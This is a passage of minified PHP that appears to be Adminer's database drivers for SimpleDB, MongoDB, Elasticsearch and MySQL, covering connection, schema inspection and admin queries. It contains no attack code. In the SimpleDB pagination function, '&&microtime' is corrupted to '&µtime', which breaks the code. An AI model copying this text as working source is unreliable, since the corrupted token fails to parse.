hmac($Ba,$Gb,$y,$Zf=false){$Ua=64;if(strlen($y)>$Ua)$y=pack("H*",$Ba($y));$y=str_pad($y,$Ua,"\0");$Ld=$y^str_repeat("\x36",$Ua);$Md=$y^str_repeat("\x5C",$Ua);$J=$Ba($Md.pack("H*",$Ba($Ld.$Gb)));if($Zf)$J=pack("H*",$J);return$J;}function sdb_request($va,$F=array()){global$b,$g;list($md,$F['AWSAccessKeyId'],$_g)=$b->credentials();$F['Action']=$va;$F['Timestamp']=gmdate('Y-m-d\TH:i:s+00:00');$F['Version']='2009-04-15';$F['SignatureVersion']=2;$F['SignatureMethod']='HmacSHA1';ksort($F);$H='';foreach($F as$y=>$X)$H.='&'.rawurlencode($y).'='.rawurlencode($X);$H=str_replace('%7E','~',substr($H,1));$H.="&Signature=".urlencode(base64_encode(hmac('sha1',"POST\n".preg_replace('~^https?://~','',$md)."\n/\n$H",$_g,true)));@ini_set('track_errors',1);$Jc=@file_get_contents((preg_match('~^https?://~',$md)?$md:"http://$md"),false,stream_context_create(array('http'=>array('method'=>'POST','content'=>$H,'ignore_errors'=>1,))));if(!$Jc){$g->error=$php_errormsg;return false;}libxml_use_internal_errors(true);$ui=simplexml_load_string($Jc);if(!$ui){$n=libxml_get_last_error();$g->error=$n->message;return false;}if($ui->Errors){$n=$ui->Errors->Error;$g->error="$n->Message ($n->Code)";return false;}$g->error='';$nh=$va."Result";return($ui->$nh?$ui->$nh:true);}function sdb_request_all($va,$nh,$F=array(),$wh=0){$J=array();$Vg=($wh?microtime(true):0);$z=(preg_match('~LIMIT\s+(\d+)\s*$~i',$F['SelectExpression'],$B)?$B[1]:0);do{$ui=sdb_request($va,$F);if(!$ui)break;foreach($ui->$nh as$jc)$J[]=$jc;if($z&&count($J)>=$z){$_GET["next"]=$ui->NextToken;break;}if($wh&µtime(true)-$Vg>$wh)return false;$F['NextToken']=$ui->NextToken;if($z)$F['SelectExpression']=preg_replace('~\d+\s*$~',$z-count($J),$F['SelectExpression']);}while($ui->NextToken);return$J;}$x="simpledb";$Ye=array("=","<",">","<=",">=","!=","LIKE","LIKE %%","IN","IS NULL","NOT LIKE","IS NOT NULL");$Zc=array();$ed=array("count");$gc=array(array("json"));}$Yb["mongo"]="MongoDB (beta)";if(isset($_GET["mongo"])){$Hf=array("mongo");define("DRIVER","mongo");if(class_exists('MongoDB')){class Min_DB{var$extension="Mongo",$error,$last_id,$_link,$_db;function connect($N,$V,$G){global$b;$m=$b->database();$bf=array();if($V!=""){$bf["username"]=$V;$bf["password"]=$G;}if($m!="")$bf["db"]=$m;try{$this->_link=@new MongoClient("mongodb://$N",$bf);return true;}catch(Exception$vc){$this->error=$vc->getMessage();return false;}}function query($H){return false;}function select_db($k){try{$this->_db=$this->_link->selectDB($k);return true;}catch(Exception$vc){$this->error=$vc->getMessage();return false;}}function quote($Q){return$Q;}}class Min_Result{var$num_rows,$_rows=array(),$_offset=0,$_charset=array();function __construct($I){foreach($I as$Id){$K=array();foreach($Id as$y=>$X){if(is_a($X,'MongoBinData'))$this->_charset[$y]=63;$K[$y]=(is_a($X,'MongoId')?'ObjectId("'.strval($X).'")':(is_a($X,'MongoDate')?gmdate("Y-m-d H:i:s",$X->sec)." GMT":(is_a($X,'MongoBinData')?$X->bin:(is_a($X,'MongoRegex')?strval($X):(is_object($X)?get_class($X):$X)))));}$this->_rows[]=$K;foreach($K as$y=>$X){if(!isset($this->_rows[0][$y]))$this->_rows[0][$y]=null;}}$this->num_rows=count($this->_rows);}function fetch_assoc(){$K=current($this->_rows);if(!$K)return$K;$J=array();foreach($this->_rows[0]as$y=>$X)$J[$y]=$K[$y];next($this->_rows);return$J;}function fetch_row(){$J=$this->fetch_assoc();if(!$J)return$J;return array_values($J);}function fetch_field(){$Od=array_keys($this->_rows[0]);$C=$Od[$this->_offset++];return(object)array('name'=>$C,'charsetnr'=>$this->_charset[$C],);}}}class Min_Driver extends Min_SQL{public$Kf="_id";function select($R,$M,$Z,$cd,$df=array(),$z=1,$E=0,$Mf=false){$M=($M==array("*")?array():array_fill_keys($M,true));$Pg=array();foreach($df as$X){$X=preg_replace('~ DESC$~','',$X,1,$Bb);$Pg[$X]=($Bb?-1:1);}return new Min_Result($this->_conn->_db->selectCollection($R)->find(array(),$M)->sort($Pg)->limit(+$z)->skip($E*$z));}function insert($R,$O){try{$J=$this->_conn->_db->selectCollection($R)->insert($O);$this->_conn->errno=$J['code'];$this->_conn->error=$J['err'];$this->_conn->last_id=$O['_id'];return!$J['err'];}catch(Exception$vc){$this->_conn->error=$vc->getMessage();return false;}}}function connect(){global$b;$g=new Min_DB;$j=$b->credentials();if($g->connect($j[0],$j[1],$j[2]))return$g;return$g->error;}function error(){global$g;return h($g->error);}function logged_user(){global$b;$j=$b->credentials();return$j[1];}function get_databases($Qc){global$g;$J=array();$Kb=$g->_link->listDBs();foreach($Kb['databases']as$m)$J[]=$m['name'];return$J;}function collations(){return array();}function db_collation($m,$ob){}function count_tables($l){global$g;$J=array();foreach($l as$m)$J[$m]=count($g->_link->selectDB($m)->getCollectionNames(true));return$J;}function tables_list(){global$g;return array_fill_keys($g->_db->getCollectionNames(true),'table');}function table_status($C="",$Fc=false){$J=array();foreach(tables_list()as$R=>$U){$J[$R]=array("Name"=>$R);if($C==$R)return$J[$R];}return$J;}function information_schema(){}function is_view($S){}function drop_databases($l){global$g;foreach($l as$m){$kg=$g->_link->selectDB($m)->drop();if(!$kg['ok'])return false;}return true;}function indexes($R,$h=null){global$g;$J=array();foreach($g->_db->selectCollection($R)->getIndexInfo()as$v){$Qb=array();foreach($v["key"]as$d=>$U)$Qb[]=($U==-1?'1':null);$J[$v["name"]]=array("type"=>($v["name"]=="_id_"?"PRIMARY":($v["unique"]?"UNIQUE":"INDEX")),"columns"=>array_keys($v["key"]),"lengths"=>array(),"descs"=>$Qb,);}return$J;}function fields($R){return fields_from_edit();}function convert_field($o){}function unconvert_field($o,$J){return$J;}function foreign_keys($R){return array();}function fk_support($S){}function engines(){return array();}function found_rows($S,$Z){global$g;return$g->_db->selectCollection($_GET["select"])->count($Z);}function alter_table($R,$C,$p,$Rc,$sb,$oc,$nb,$La,$wf){global$g;if($R==""){$g->_db->createCollection($C);return true;}}function drop_tables($T){global$g;foreach($T as$R){$kg=$g->_db->selectCollection($R)->drop();if(!$kg['ok'])return false;}return true;}function truncate_tables($T){global$g;foreach($T as$R){$kg=$g->_db->selectCollection($R)->remove();if(!$kg['ok'])return false;}return true;}function alter_indexes($R,$c){global$g;foreach($c as$X){list($U,$C,$O)=$X;if($O=="DROP")$J=$g->_db->command(array("deleteIndexes"=>$R,"index"=>$C));else{$e=array();foreach($O as$d){$d=preg_replace('~ DESC$~','',$d,1,$Bb);$e[$d]=($Bb?-1:1);}$J=$g->_db->selectCollection($R)->ensureIndex($e,array("unique"=>($U=="UNIQUE"),"name"=>$C,));}if($J['errmsg']){$g->error=$J['errmsg'];return false;}}return true;}function last_id(){global$g;return$g->last_id;}function table($u){return$u;}function idf_escape($u){return$u;}function support($Gc){return preg_match("~database|indexes~",$Gc);}$x="mongo";$Ye=array("=");$Zc=array();$ed=array();$gc=array(array("json"));}$Yb["elastic"]="Elasticsearch (beta)";if(isset($_GET["elastic"])){$Hf=array("json");define("DRIVER","elastic");if(function_exists('json_decode')){class Min_DB{var$extension="JSON",$server_info,$errno,$error,$_url;function rootQuery($zf,$xb=array(),$ye='GET'){@ini_set('track_errors',1);$Jc=@file_get_contents($this->_url.'/'.ltrim($zf,'/'),false,stream_context_create(array('http'=>array('method'=>$ye,'content'=>json_encode($xb),'ignore_errors'=>1,))));if(!$Jc){$this->error=$php_errormsg;return$Jc;}if(!preg_match('~^HTTP/[0-9.]+ 2~i',$http_response_header[0])){$this->error=$Jc;return false;}$J=json_decode($Jc,true);if($J===null){$this->errno=json_last_error();if(function_exists('json_last_error_msg'))$this->error=json_last_error_msg();else{$wb=get_defined_constants(true);foreach($wb['json']as$C=>$Y){if($Y==$this->errno&&preg_match('~^JSON_ERROR_~',$C)){$this->error=$C;break;}}}}return$J;}function query($zf,$xb=array(),$ye='GET'){return$this->rootQuery(($this->_db!=""?"$this->_db/":"/").ltrim($zf,'/'),$xb,$ye);}function connect($N,$V,$G){preg_match('~^(https?://)?(.*)~',$N,$B);$this->_url=($B[1]?$B[1]:"http://")."$V:$G@$B[2]/";$J=$this->query('');if($J)$this->server_info=$J['version']['number'];return(bool)$J;}function select_db($k){$this->_db=$k;return true;}function quote($Q){return$Q;}}class Min_Result{var$num_rows,$_rows;function __construct($L){$this->num_rows=count($this->_rows);$this->_rows=$L;reset($this->_rows);}function fetch_assoc(){$J=current($this->_rows);next($this->_rows);return$J;}function fetch_row(){return array_values($this->fetch_assoc());}}}class Min_Driver extends Min_SQL{function select($R,$M,$Z,$cd,$df=array(),$z=1,$E=0,$Mf=false){global$b;$Gb=array();$H="$R/_search";if($M!=array("*"))$Gb["fields"]=$M;if($df){$Pg=array();foreach($df as$lb){$lb=preg_replace('~ DESC$~','',$lb,1,$Bb);$Pg[]=($Bb?array($lb=>"desc"):$lb);}$Gb["sort"]=$Pg;}if($z){$Gb["size"]=+$z;if($E)$Gb["from"]=($E*$z);}foreach($Z as$X){list($lb,$We,$X)=explode(" ",$X,3);if($lb=="_id")$Gb["query"]["ids"]["values"][]=$X;elseif($lb.$X!=""){$rh=array("term"=>array(($lb!=""?$lb:"_all")=>$X));if($We=="=")$Gb["query"]["filtered"]["filter"]["and"][]=$rh;else$Gb["query"]["filtered"]["query"]["bool"]["must"][]=$rh;}}if($Gb["query"]&&!$Gb["query"]["filtered"]["query"]&&!$Gb["query"]["ids"])$Gb["query"]["filtered"]["query"]=array("match_all"=>array());$Vg=microtime(true);$zg=$this->_conn->query($H,$Gb);if($Mf)echo$b->selectQuery("$H: ".print_r($Gb,true),format_time($Vg));if(!$zg)return false;$J=array();foreach($zg['hits']['hits']as$ld){$K=array();if($M==array("*"))$K["_id"]=$ld["_id"];$p=$ld['_source'];if($M!=array("*")){$p=array();foreach($M as$y)$p[$y]=$ld['fields'][$y];}foreach($p as$y=>$X){if($Gb["fields"])$X=$X[0];$K[$y]=(is_array($X)?json_encode($X):$X);}$J[]=$K;}return new Min_Result($J);}}function connect(){global$b;$g=new Min_DB;$j=$b->credentials();if($g->connect($j[0],$j[1],$j[2]))return$g;return$g->error;}function support($Gc){return preg_match("~database|table|columns~",$Gc);}function logged_user(){global$b;$j=$b->credentials();return$j[1];}function get_databases(){global$g;$J=$g->rootQuery('_aliases');if($J){$J=array_keys($J);sort($J,SORT_STRING);}return$J;}function collations(){return array();}function db_collation($m,$ob){}function engines(){return array();}function count_tables($l){global$g;$J=$g->query('_mapping');if($J)$J=array_map('count',$J);return$J;}function tables_list(){global$g;$J=$g->query('_mapping');if($J)$J=array_fill_keys(array_keys($J[$g->_db]["mappings"]),'table');return$J;}function table_status($C="",$Fc=false){global$g;$zg=$g->query("_search?search_type=count",array("facets"=>array("count_by_type"=>array("terms"=>array("field"=>"_type",)))),"POST");$J=array();if($zg){foreach($zg["facets"]["count_by_type"]["terms"]as$R){$J[$R["term"]]=array("Name"=>$R["term"],"Engine"=>"table","Rows"=>$R["count"],);if($C!=""&&$C==$R["term"])return$J[$C];}}return$J;}function error(){global$g;return h($g->error);}function information_schema(){}function is_view($S){}function indexes($R,$h=null){return array(array("type"=>"PRIMARY","columns"=>array("_id")),);}function fields($R){global$g;$I=$g->query("$R/_mapping");$J=array();if($I){$he=$I[$R]['properties'];if(!$he)$he=$I[$g->_db]['mappings'][$R]['properties'];if($he){foreach($he as$C=>$o){$J[$C]=array("field"=>$C,"full_type"=>$o["type"],"type"=>$o["type"],"privileges"=>array("insert"=>1,"select"=>1,"update"=>1),);if($o["properties"]){unset($J[$C]["privileges"]["insert"]);unset($J[$C]["privileges"]["update"]);}}}}return$J;}function foreign_keys($R){return array();}function table($u){return$u;}function idf_escape($u){return$u;}function convert_field($o){}function unconvert_field($o,$J){return$J;}function fk_support($S){}function found_rows($S,$Z){return null;}function create_database($m){global$g;return$g->rootQuery(urlencode($m),array(),'PUT');}function drop_databases($l){global$g;return$g->rootQuery(urlencode(implode(',',$l)),array(),'DELETE');}function drop_tables($T){global$g;$J=true;foreach($T as$R)$J=$J&&$g->query(urlencode($R),array(),'DELETE');return$J;}$x="elastic";$Ye=array("=","query");$Zc=array();$ed=array();$gc=array(array("json"));}$Yb=array("server"=>"MySQL")+$Yb;if(!defined("DRIVER")){$Hf=array("MySQLi","MySQL","PDO_MySQL");define("DRIVER","server");if(extension_loaded("mysqli")){class Min_DB extends MySQLi{var$extension="MySQLi";function __construct(){parent::init();}function connect($N="",$V="",$G="",$k=null,$Df=null,$Og=null){mysqli_report(MYSQLI_REPORT_OFF);list($md,$Df)=explode(":",$N,2);$J=@$this->real_connect(($N!=""?$md:ini_get("mysqli.default_host")),($N.$V!=""?$V:ini_get("mysqli.default_user")),($N.$V.$G!=""?$G:ini_get("mysqli.default_pw")),$k,(is_numeric($Df)?$Df:ini_get("mysqli.default_port")),(!is_numeric($Df)?$Df:$Og));return$J;}function set_charset($ab){if(parent::set_charset($ab))return true;parent::set_charset('utf8');return$this->query("SET NAMES $ab");}function result($H,$o=0){$I=$this->query($H);if(!$I)return false;$K=$I->fetch_array();return$K[$o];}function quote($Q){return"'".$this->escape_string($Q)."'";}}}elseif(extension_loaded("mysql")&&!(ini_get("sql.safe_mode")&&extension_loaded("pdo_mysql"))){class Min_DB{var$extension="MySQL",$server_info,$affected_rows,$errno,$error,$_link,$_result;function connect($N,$V,$G){$this->_link=@mysql_connect(($N!=""?$N:ini_get("mysql.default_host")),("$N$V"!=""?$V:ini_get("mysql.default_user")),("$N$V$G"!=""?$G:ini_get("mysql.default_password")),true,131072);if($this->_link)$this->server_info=mysql_get_server_info($this->_link);else$this->error=mysql_error();return(bool)$this->_link;}function set_charset($ab){if(function_exists('mysql_set_charset')){if(mysql_set_charset($ab,$this->_link))return true;mysql_set_charset('utf8',$this->_link);}return$this->query("SET NAMES $ab");}function quote($Q){return"'".mysql_real_escape_string($Q,$this->_link)."'";}function select_db($k){return mysql_select_db($k,$this->_link);}function query($H,$Sh=false){$I=@($Sh?mysql_unbuffered_query($H,$this->_link):mysql_query($H,$this->_link));$this->error="";if(!$I){$this->errno=mysql_errno($this->_link);$this->error=mysql_error($this->_link);return false;}if($I===true){$this->affected_rows=mysql_affected_rows($this->_link);$this->info=mysql_info($this->_link);return true;}return new Min_Result($I);}function multi_query($H){return$this->_result=$this->query($H);}function store_result(){return$this->_result;}function next_result(){return false;}function result($H,$o=0){$I=$this->query($H);if(!$I||!$I->num_rows)return false;return mysql_result($I->_result,0,$o);}}class Min_Result{var$num_rows,$_result,$_offset=0;function __construct($I){$this->_result=$I;$this->num_rows=mysql_num_rows($I);}function fetch_assoc(){return mysql_fetch_assoc($this->_result);}function fetch_row(){return mysql_fetch_row($this->_result);}function fetch_field(){$J=mysql_fetch_field($this->_result,$this->_offset++);$J->orgtable=$J->table;$J->orgname=$J->name;$J->charsetnr=($J->blob?63:0);return$J;}function __destruct(){mysql_free_result($this->_result);}}}elseif(extension_loaded("pdo_mysql")){class Min_DB extends Min_PDO{var$extension="PDO_MySQL";function connect($N,$V,$G){$this->dsn("mysql:charset=utf8;host=".str_replace(":",";unix_socket=",preg_replace('~:(\\d)~',';port=\\1',$N)),$V,$G);return true;}function set_charset($ab){$this->query("SET NAMES $ab");}function select_db($k){return$this->query("USE ".idf_escape($k));}function query($H,$Sh=false){$this->setAttribute(1000,!$Sh);return parent::query($H,$Sh);}}}class Min_Driver extends Min_SQL{function insert($R,$O){return($O?parent::insert($R,$O):queries("INSERT INTO ".table($R)." ()\nVALUES ()"));}function insertUpdate($R,$L,$Kf){$e=array_keys(reset($L));$If="INSERT INTO ".table($R)." (".implode(", ",$e).") VALUES\n";$ji=array();foreach($e as$y)$ji[$y]="$y = VALUES($y)";$bh="\nON DUPLICATE KEY UPDATE ".implode(", ",$ji);$ji=array();$be=0;foreach($L as$O){$Y="(".implode(", ",$O).")";if($ji&&(strlen($If)+$be+strlen($Y)+strlen($bh)>1e6)){if(!queries($If.implode(",\n",$ji).$bh))return false;$ji=array();$be=0;}$ji[]=$Y;$be+=strlen($Y)+2;}return queries($If.implode(",\n",$ji).$bh);}}function idf_escape($u){return"`".str_replace("`","``",$u)."`";}function table($u){return idf_escape($u);}function connect(){global$b,$Rh,$Yg;$g=new Min_DB;$j=$b->credentials();if($g->connect($j[0],$j[1],$j[2])){$g->set_charset(charset($g));$g->query("SET sql_quote_show_create = 1, autocommit = 1");if(version_compare($g->server_info,'5.7.8')>=0){$Yg[lang(23)][]="json";$Rh["json"]=4294967295;}return$g;}$J=$g->error;if(function_exists('iconv')&&!is_utf8($J)&&strlen($vg=iconv("windows-1250","utf-8",$J))>strlen($J))$J=$vg;return$J;}function get_databases($Qc){global$g;$J=get_session("dbs");if($J===null){$H=($g->server_info>=5?"SELECT SCHEMA_NAME FROM information_schema.SCHEMATA":"SHOW DATABASES");$J=($Qc?slow_query($H):get_vals($H));restart_session();set_session("dbs",$J);stop_session();}return$J;}function limit($H,$Z,$z,$D=0,$Dg=" "){return" $H$Z".($z!==null?$Dg."LIMIT $z".($D?" OFFSET $D":""):"");}function limit1($H,$Z){return limit($H,$Z,1);}function db_collation($m,$ob){global$g;$J=null;$i=$g->result("SHOW CREATE DATABASE ".idf_escape($m),1);if(preg_match('~ COLLATE ([^ ]+)~',$i,$B))$J=$B[1];elseif(preg_match('~ CHARACTER SET ([^ ]+)~',$i,$B))$J=$ob[$B[1]][-1];return$J;}function engines(){$J=array();foreach(get_rows("SHOW ENGINES")as$K){if(preg_match("~YES|DEFAULT~",$K["Support"]))$J[]=$K["Engine"];}return$J;}function logged_user(){global$g;return$g->result("SELECT USER()");}function tables_list(){global$g;return get_key_vals($g->server_info>=5?"SELECT TABLE_NAME, TABLE_TYPE FROM information_schema.TABLES WHERE TABLE_SCHEMA = DATABASE() ORDER BY TABLE_NAME":"SHOW TABLES");}function count_tables($l){$J=array();foreach($l as$m)$J[$m]=count(get_vals("SHOW TABLES IN ".idf_escape($m)));return$J;}function table_status($C="",$Fc=false){global$g;$J=array();foreach(get_rows($Fc&&$g->server_info>=5?"SELECT TABLE_NAME AS Name, ENGINE AS Engine, TABLE_COMMENT AS Comment FROM information_schema.TABLES WHERE TABLE_SCHEMA = DATABASE() ".($C!=""?"AND TABLE_NAME = ".q($C):"ORDER BY Name"):"SHOW TABLE STATUS".($C!=""?" LIKE ".q(addcslashes($C,"%_\\")):""))as$K){if($K["Engine"]=="InnoDB")$K["Comment"]=preg_replace('~(?:(.+); )?InnoDB free: .*~','\\1',$K["Comment"]);if(!isset($K["Engine"]))$K["Comment"]="";if($C!="")return$K;$J[$K["Name"]]=$K;}return$J;}function is_view($S){return$S["Engine"]===null;}function fk_support($S){global$g;return preg_match('~InnoDB|IBMDB2I~i',$S["Engine"])||(preg_match('~NDB~i',$S["Engine"])&&version_compare($g->server_info,'5.6')>=0);}function fields($R){$J=array();foreach(get_rows("SHOW FULL COLUMNS FROM ".table($R))as$K){preg_match('~^([^( ]+)(?:\\((.+)\\))?( unsigned)?( zerofill)?$~',$K["Type"],$B);$J[$K["Field"]]=array("field"=>$K["Field"],"full_type"=>$K["Type"],"type"=>$B[1],"length"=>$B[2],"unsigned"=>ltrim($B[3].$B[4]),"default"=>($K["Default"]!=""||preg_match("~char|set~",$B[1])?$K["Default"]:null),"null"=>($K["Null"]=="YES"),"auto_increment"=>($K["Extra"]=="auto_increment"),"on_update"=>(preg_match('~^on update (.+)~i',$K["Extra"],$B)?$B[1]:""),"collation"=>$K["Collation"],"privileges"=>array_flip(preg_split('~, *~',$K["Privileges"])),"comment"=>$K["Comment"],"primary"=>($K["Key"]=="PRI"),);}return$J;}function indexes($R,$h=null){$J=array();foreach(get_rows("SHOW INDEX FROM ".table($R),$h)as$K){$C=$K["Key_name"];$J[$C]["type"]=($C=="PRIMARY"?"PRIMARY":($K["Index_type"]=="FULLTEXT"?"FULLTEXT":($K["Non_unique"]?($K["Index_type"]=="SPATIAL"?"SPATIAL":"INDEX"):"UNIQUE")));$J[$C]["columns"][]=$K["Column_name"];$J[$C]["lengths"][]=($K["Index_type"]=="SPATIAL"?null:$K["Sub_part"]);$J[$C]["descs"][]=null;}return$J;}function foreign_keys($R){global$g,$Te;static$Af='`(?:[^`]|``)+`';$J=array();$Cb=$g->result("SHOW CREATE TABLE ".table($R),1);if($Cb){preg_match_all("~CONSTRAINT ($Af) FOREIGN KEY ?\\(((?:$Af,? ?)+)\\) REFERENCES ($Af)(?:\\.($Af))? \\(((?:$Af,? ?)+)\\)(?: ON DELETE ($Te))?(?: ON UPDATE ($Te))?~",$Cb,$ke,PREG_SET_ORDER);foreach($ke as$B){preg_match_all("~$Af~",$B[2],$Qg);preg_match_all("~$Af~",$B[5],$oh);$J[idf_unescape($B[1])]=array("db"=>idf_unescape($B[4]!=""?$B[3]:$B[4]),"table"=>idf_unescape($B[4]!=""?$B[4]:$B[3]),"source"=>array_map('idf_unescape',$Qg[0]),"target"=>array_map('idf_unescape',$oh[0]),"on_delete"=>($B[6]?$B[6]:"RESTRICT"),"on_update"=>($B[7]?$B[7]:"RESTRICT"),);}}return$J;}function view($C){global$g;return array("select"=>preg_replace('~^(?:[^`]|`[^`]*`)*\\s+AS\\s+~isU','',$g->result("SHOW CREATE VIEW ".table($C),1)));}function collations(){$J=array();foreach(get_rows("SHOW COLLATION")as$K){if($K["Default"])$J[$K["Charset"]][-1]=$K["Collation"];else$J[$K["Charset"]][]=$K["Collation"];}ksort($J);foreach($J as$y=>$X)asort($J[$y]);return$J;}function information_schema($m){global$g;return($g->server_info>=5&&$m=="information_schema")||($g->server_info>=5.5&&$m=="performance_schema");}function error(){global$g;return h(preg_replace('~^You have an error.*syntax to use~U',"Syntax error",$g->error));}function create_database($m,$nb){return queries("CREATE DATABASE ".idf_escape($m).($nb?" COLLATE ".q($nb):""));}function drop_databases($l){$J=apply_queries("DROP DATABASE",$l,'idf_escape');restart_session();set_session("dbs",null);return$J;}function rename_database($C,$nb){$J=false;if(create_database($C,$nb)){$ig=array();foreach(tables_list()as$R=>$U)$ig[]=table($R)." TO ".idf_escape($C).".".table($R);$J=(!$ig||queries("RENAME TABLE ".implode(", ",$ig)));if($J)queries("DROP DATABASE ".idf_escape(DB));restart_session();set_session("dbs",null);}return$J;}function auto_increment(){$Ma=" PRIMARY KEY";if($_GET["create"]!=""&&$_POST["auto_increment_col"]){foreach(indexes($_GET["create"])as$v){if(in_array($_POST["fields"][$_POST["auto_increment_col"]]["orig"],$v["columns"],true)){$Ma="";break;}if($v["type"]=="PRIMARY")$Ma=" UNIQUE";}}return" AUTO_INCREMENT$Ma";}function alter_table($R,$C,$p,$Rc,$sb,$oc,$nb,$La,$wf){$c=array();foreach($p as$o)$c[]=($o[1]?($R!=""?($o[0]!=""?"CHANGE ".idf_escape($o[0]):"ADD"):" ")." ".implode($o[1]).($R!=""?$o[2]:""):"DROP ".idf_escape($o[0]));$c=array_merge($c,$Rc);$P=($sb!==null?" COMMENT=".q($sb):"").($oc?" ENGINE=".q($oc):"").($nb?" COLLATE ".q($nb):"").($La!=""?" AUTO_INCREMENT=$La":"");if($R=="")return queries("CREATE TABLE ".table($C)." (\n".implode(",\n",$c)."\n)$P$wf");if($R!=$C)$c[]="RENAME TO ".table($C);if($P)$c[]=ltrim($P);return($c||$wf?queries("ALTER TABLE ".table($R)."\n".implode(",\n",$c).$wf):true);}function alter_indexes($R,$c){foreach($c as$y=>$X)$c[$y]=($X[2]=="DROP"?"\nDROP INDEX ".idf_escape($X[1]):"\nADD $X[0] ".($X[0]=="PRIMARY"?"KEY ":"").($X[1]!=""?idf_escape($X[1])." ":"")."(".implode(", ",$X[2]).")");return queries("ALTER TABLE ".table($R).implode(",",$c));}function truncate_tables($T){return apply_queries("TRUNCATE TABLE",$T);}function drop_views($oi){return queries("DROP VIEW ".implode(", ",array_map('table',$oi)));}function drop_tables($T){return queries("DROP TABLE ".implode(", ",array_map('table',$T)));}function move_tables($T,$oi,$oh){$ig=array();foreach(array_merge($T,$oi)as$R)$ig[]=table($R)." TO ".idf_escape($oh).".".table($R);return queries("RENAME TABLE ".implode(", ",$ig));}function copy_tables($T,$oi,$oh){queries("SET sql_mode = 'NO_AUTO_VALUE_ON_ZERO'");foreach($T as$R){$C=($oh==DB?table("copy_$R"):idf_escape($oh).".".table($R));if(!queries("\nDROP TABLE IF EXISTS $C")||!queries("CREATE TABLE $C LIKE ".table($R))||!queries("INSERT INTO $C SELECT * FROM ".table($R)))return false;}foreach($oi as$R){$C=($oh==DB?table("copy_$R"):idf_escape($oh).".".table($R));$ni=view($R);if(!queries("DROP VIEW IF EXISTS $C")||!queries("CREATE VIEW $C AS $ni[select]"))return false;}return true;}function trigger($C){if($C=="")return array();$L=get_rows("SHOW TRIGGERS WHERE `Trigger` = ".q($C));return reset($L);}function triggers($R){$J=array();foreach(get_rows("SHOW TRIGGERS LIKE ".q(addcslashes($R,"%_\\")))as$K)$J[$K["Trigger"]]=array($K["Timing"],$K["Event"]);return$J;}function trigger_options(){return array("Timing"=>array("BEFORE","AFTER"),"Event"=>array("INSERT","UPDATE","DELETE"),"Type"=>array("FOR EACH ROW"),);}function routine($C,$U){global$g,$qc,$yd,$Rh;$Ca=array("bool","boolean","integer","double precision","real","dec","numeric","fixed","national char","national varchar");$Qh="((".implode("|",array_merge(array_keys($Rh),$Ca)).")\\b(?:\\s*\\(((?:[^'\")]|$qc)++)\\))?\\s*(zerofill\\s*)?(unsigned(?:\\s+zerofill)?)?)(?:\\s*(?:CHARSET|CHARACTER\\s+SET)\\s*['\"]?([^'\"\\s,]+)['\"]?)?";$Af="\\s*(".($U=="FUNCTION"?"":$yd).")?\\s*(?:`((?:[^`]|``)*)`\\s*|\\b(\\S+)\\s+)$Qh";$i=$g->result("SHOW CREATE $U ".idf_escape($C),2);preg_match("~\\(((?:$Af\\s*,?)*)\\)\\s*".($U=="FUNCTION"?"RETURNS\\s+$Qh\\s+":"")."(.*)~is",$i,$B);$p=array();preg_match_all("~$Af\\s*,?~is",$B[1],$ke,PREG_SET_ORDER);foreach($ke as$qf){$C=str_replace("``","`",$qf[2]).$qf[3];$p[]=array("field"=>$C,"type"=>strtolower($qf[5]),"length"=>preg_replace_callback("~$qc~s",'normalize_enum',$qf[6]),"unsigned"=>strtolower(preg_replace('~\\s+~',' ',trim("$qf[8] $qf[7]"))),"null"=>1,"full_type"=>$qf[4],"inout"=>strtoupper($qf[1]),"collation"=>strtolower($qf[9]),);}if($U!="FUNCTION")return array("fields"=>$p,"definition"=>$B[11]);return array("fields"=>$p,"returns"=>array("type"=>$B[12],"length"=>$B[13],"unsigned"=>$B[15],"collation"=>$B[16]),"definition"=>$B[17],"language"=>"SQL",);}function routines(){return get_rows("SELECT ROUTINE_NAME, ROUTINE_TYPE, DTD_IDENTIFIER FROM information_schema.ROUTINES WHERE ROUTINE_SCHEMA = ".q(DB));}function routine_languages(){return array();}function last_id(){global$g;return$g->result("SELECT LAST_INSERT_ID()");}function explain($g,$H){return$g->query("EXPLAIN ".($g->server_info>=5.1?"PARTITIONS ":"").$H);}function found_rows($S,$Z){return($Z||$S["Engine"]!="InnoDB"?null:$S["Rows"]);}function types(){return array();}function schemas(){return array();}function get_schema(){return"";}function set_schema($xg){return true;}function create_sql($R,$La){global$g;$J=$g->result("SHOW CREATE TABLE ".table($R),1);if(!$La)$J=preg_replace('~ AUTO_INCREMENT=\\d+~','',$J);return$J;}function truncate_sql($R){return"TRUNCATE ".table($R);}function use_sql($k){return"USE ".idf_escape($k);}function trigger_sql($R,$Zg){$J="";foreach(get_rows("SHOW TRIGGERS LIKE ".q(addcslashes($R,"%_\\")),null,"-- ")as$K)$J.="\n".($Zg=='CREATE+ALTER'?"DROP TRIGGER IF EXISTS ".idf_escape($K["Trigger"]).";;\n":"")."CREATE TRIGGER ".idf_escape($K["Trigger"])." $K[Timing] $K[Event] ON ".table($K["Table"])." FOR EACH ROW\n$K[Statement];;\n";return$J;}function show_variables(){return get_key_vals("SHOW VARIABLES");}function process_list(){return get_rows("SHOW FULL PROCESSLIST");}function show_status(){return get_key_vals("SHOW STATUS");}function replication_status($U){return get_rows("SHOW $U STATUS");}function convert_field($o){if(preg_match("~binary~",$o["type"]))return"HEX(".idf_escape($o["field"]).")";if($o["type"]=="bit")return"BIN(".idf_escape($o["field"])." + 0)";if(preg_match("~geometry|point|linestring|polygon~",$o["type"]))return"AsWKT(".idf_escape($o["field"]).")";}function unconvert_field($o,$J){if(preg_match("~binary~",$o["type"]))$J="UNHEX($J)";if($o["type"]=="bit")$J="CONV($J, 2, 10) + 0";if(preg_match("~geometry|point|linestring|polygon~",$o["type"]))$J="GeomFromText($J)";return$J;}function support($Gc){global$g;return!preg_match("~scheme|sequence|type|view_trigger|materializedview".($g->server_info<5.1?"|event|partitioning".($g->server_info<5?"|routine|trigger|view":""):"")."~",$Gc);}function kill_process($X){return queries("KILL ".number($X));}function connection_id(){return"SELECT CONNECTION_ID()";}function max_connections(){global$g;return$g->result("SELECT 